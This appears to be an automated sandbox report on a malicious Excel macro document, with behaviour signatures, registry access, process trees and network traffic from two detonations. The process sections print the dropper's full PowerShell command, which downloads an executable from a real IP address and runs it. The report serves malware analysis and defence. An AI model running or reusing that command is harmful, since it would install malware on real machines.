Analysis Overview
SHA256
1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66
Threat Level: Known bad
The file 1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Blocklisted process makes network request
Office macro that triggers on suspicious action
Command and Scripting Interpreter: PowerShell
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Checks processor information in registry
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Enumerates system info in registry
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: AddClipboardFormatListener
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-07 21:30
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-07 21:30
Reported
2024-11-07 21:31
Platform
win7-20240708-en
Max time kernel
26s
Max time network
28s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls
C:\Windows\SysWOW64\cmd.exe
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe';
Network
| Country | Destination | Domain | Proto |
| LV | 92.63.88.104:80 | tcp |
Files
memory/1892-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1892-1-0x00000000731ED000-0x00000000731F8000-memory.dmp
memory/1892-2-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-5-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-3-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-18-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-16-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-17-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-15-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-12-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-13-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-11-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-23-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-10-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-9-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-7-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-6-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-4-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-32-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-21-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-36-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-35-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-34-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-33-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-30-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-29-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-27-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-28-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-26-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-25-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-24-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-20-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-19-0x00000000004E0000-0x00000000005E0000-memory.dmp
memory/1892-39-0x00000000731ED000-0x00000000731F8000-memory.dmp
memory/1892-40-0x00000000004E0000-0x00000000005E0000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-07 21:30
Reported
2024-11-07 21:31
Platform
win10v2004-20241007-en
Max time kernel
49s
Max time network
51s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3484 wrote to memory of 2892 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 3484 wrote to memory of 2892 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 2892 wrote to memory of 2828 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2892 wrote to memory of 2828 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\1e5263b61db34399fd621201a9e3b0bc5e79f193911765414020ebc003813a66.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','%TEMP%\JIOiodfhioIH.exe');Start-Process '%TEMP%\JIOiodfhioIH.exe';
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.104/fdhtepopdhd/sfbwurwfl/wyxbdf.exe','C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\JIOiodfhioIH.exe';
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| LV | 92.63.88.104:80 | tcp | |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| US | 8.8.8.8:53 | 18.89.109.52.in-addr.arpa | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 47.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.173.189.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
Files
memory/3484-1-0x00007FF81C3CD000-0x00007FF81C3CE000-memory.dmp
memory/3484-0-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp
memory/3484-4-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp
memory/3484-3-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp
memory/3484-2-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp
memory/3484-5-0x00007FF7DC3B0000-0x00007FF7DC3C0000-memory.dmp
memory/3484-7-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-6-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-11-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-10-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-13-0x00007FF7DA1E0000-0x00007FF7DA1F0000-memory.dmp
memory/3484-12-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-9-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-8-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-15-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-17-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-16-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-19-0x00007FF7DA1E0000-0x00007FF7DA1F0000-memory.dmp
memory/3484-18-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-14-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-61-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dxn1bznj.gna.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2828-73-0x000001FDA2B50000-0x000001FDA2B72000-memory.dmp
memory/3484-80-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-81-0x00007FF81C3CD000-0x00007FF81C3CE000-memory.dmp
memory/3484-82-0x00007FF81C330000-0x00007FF81C525000-memory.dmp
memory/3484-86-0x00007FF81C330000-0x00007FF81C525000-memory.dmp